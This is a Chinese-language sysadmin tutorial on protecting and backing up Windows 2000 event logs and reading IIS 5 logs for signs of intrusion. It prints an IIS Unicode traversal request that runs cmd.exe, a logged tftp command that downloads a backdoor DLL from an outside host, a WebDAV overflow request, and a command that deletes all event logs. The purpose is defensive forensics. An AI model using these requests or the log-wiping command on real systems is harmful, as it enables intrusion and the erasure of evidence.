Windows系统以它的易用性倍受网管员的青睐,国内相当部分的大型网站都是用Windows 2000/XP系统建立的。Windows系统使用的人多了,研究它安全的人也多了。在此我要提醒一下网管们,虽然你补上了所有的安全补丁,但是谁又知道新的漏洞何时又会被发现呢?所以也应该做好系统日志的保护工作。
作为黑客,他们也是最关心系统日志的,一旦他们入侵成功,要做的第一件事就是删除你的日志文件,使你在被入侵后无法追踪黑客行为,以及检查黑客所做的操作行为。日志文件就像飞机中的“黑匣子”一样重要,因为里面保存着黑客入侵行为的所有罪证。
日志的移位与保护
Windows 2000的系统日志文件包括:应用程序日志、安全日志、系统日志、DNS服务日志,以及FTP连接日志和HTTPD日志等。在默认情况下日志文件大小为512KB,日志保存的默认的位置如下:
安全日志文件:systemroot\system32\config \SecEvent.EVT
系统日志文件:systemroot\system32\config \SysEvent.EVT
应用程序日志文件:systemroot\system32\config \AppEvent.EVT
FTP连接日志和HTTPD事务日志:systemroot \system32\LogFiles\,下面还有子文件夹,分别对应该FTP和Web服务的日志,其对应的后缀名为.Log。
在此笔者把系统默认为.EVT扩展名的日志文件统称为事件日志,笔者看了好多文章介绍对事件日志移位能做到很好的保护。移位虽是一种保护方法,但只要在命令行输入dir c:\*.evt/s(如系统安装在D盘,则盘符为D),一下就可查找到事件日志位置。日志移位要通过修改注册表来完成,我们找到注册表HKEY_LOCAL_MACHINE\SYSTEM\ CurrentControlSet\Services\Eventlog位置,下面的Application、Security、System几个子键,分别对应“应用程序日志”、“安全日志”、“系统日志”。如何修改注册表,下面我们来看看Application子键:
File项就是“应用程序日志”文件存放的位置,把此键值改为我们要存放日志文件的文件夹,然后再把systemroot\system32\config\appevent.evt文件拷贝到此文件夹,再重启机器。在此介绍移位的目的是为了充分利用Windows 2000在NTFS格式下的“安全”属性,如果不移位也无法对文件进行安全设置操作,右击移位后的文件夹选择“属性”,进入“安全”选项卡,不选择“允许将来自父系的可继承权限传播给该对象”,添加“System”组,分别给Everyone组“读取”权限,System组选择除“完全控制”和“修改”的权限。然后再将系统默认的日志文件512KB大小改为你所想要的大小,如20MB。
进行了上面的设置后,再直接通过Del C:\*.Evt/s/q来删除是删不掉的;对系统正在使用的记录文件在命令行形式中用上面的命令也是拒绝操作的。
日志文件的备份
基于WMI技术的日志备份脚本
WMI(Windows Management Instrumentation)技术是微软提供的Windows下的系统管理工具,基于WMI开发的脚本均可在Windows 2000/NT上成功运行。微软提供了一个脚本,利用WMI将日志文件大小设为25MB,并允许日志自动覆盖14天前的日志。
我们只需把该脚本保存为.vbs扩展名的文件就可以使用,我们还可以修改上面的脚本来备份日志文件,笔者在此建议,在备份日志时一定将EVT的后缀名改为其他后缀保存(如.C),目的是让攻击者不易找到。
通过dumpel工具的备份
可用微软Resource Kit工具箱中的dumpel.exe工具备份日志文件,其格式为:
dumpel -f file [-s \server] [-l log [-m source]] [-e n1 n2 n3..] [-r] [-t] [-dx]
-s \server 输出远程计算机日志,如果是本地,这个可以省略。
-f filename 输出日志的位置和文件名。
-l log log 可选为System,Security,Application,可能还有别的如DNS等。
如要把目标服务器Server上的系统日志转存为Systemlog.log可以用如下格式:
dumpel \server -l system -f Systemlog.log
如果利用计划任务还可以实现定期备份系统日志。
Microsoft的IIS 5自公布到现在,被黑客利用的漏洞是很多的,像.ida/.idq、unicode、WebDavx3和一些未知的漏洞,我们备份日志的目的就是为了分析黑客入侵的行为,对于没有打好补丁包的系统被黑客成功入侵的日志记录分别对应如下。
unicode漏洞入侵日志记录
我们打开IIS5的Web服务的日志文件,日志文件默认位置在systemroot\system32\LogFiles\文件夹下,如图2所示是一个典型的Unicode漏洞入侵行为的日志记录,对于正常的Web访问,是通过80端口用GET命令获取Web数据,但通过非法的字符编码可绕过字符验证而得到不应该得到的信息。但补上相应的补丁可堵上此洞。
如通过下面的编码查看目标机的目录文件:
GET /_vti_bin/..5c../..5c../..5c../winnt/system32/cmd.exe /c dir 200
则日志中会记录下此访问行为:
2003-03-01 08:47:47 192.168.0.1 - 192.168.0.218 80 GET
/_vti_bin/..5c../..5c../..5c../winnt/system32/cmd.exe
/c dir 200 -
然而我们的日志中记录的一清二楚,是来自192.168.0.1的攻击者查看我们的目录。而下面一行是 向我们的机器传送后门程序的记录:
2003-03-01 08:47:47 192.168.0.1 - 192.168.0.218 80 GET
/_vti_bin/..5c../..5c../..5c../winnt/system32/cmd.exe
/c tftp20-i2061.48.10.12920GET20cool.dll20c:\httpodbc.dll
502 -
WebDavx3远程溢出日志记录
最近在黑客界有名的Wevdavx3漏洞是应用最广泛的,连打了最新SP3补丁的系统也不放过。如果系统遭受了此远程溢出的攻击行为,则日志记录如下所示:
2003-04-18 07:20:13 192.168.0.218 - 192.168.0.218 80 LOCK
/AAAAA……
就表示我们的Web服务受到了来自192.168.0.218的攻击,并锁定(即关闭)了WEB服务。后面的一些乱码字符是在溢出攻击时使用的偏移位猜过程。
上面都记录了入侵行为的IP地址,此IP地址并不能排除是攻击者使用了跳板,也就是说此IP很可能是“肉鸡”而不是攻击者的IP,但再查看其他日志文件,还是有可能追查出攻击者的位置。
不过笔者写到最后,还是想说一句,最好还是安装一个防火墙来记录和阻止黑客行为。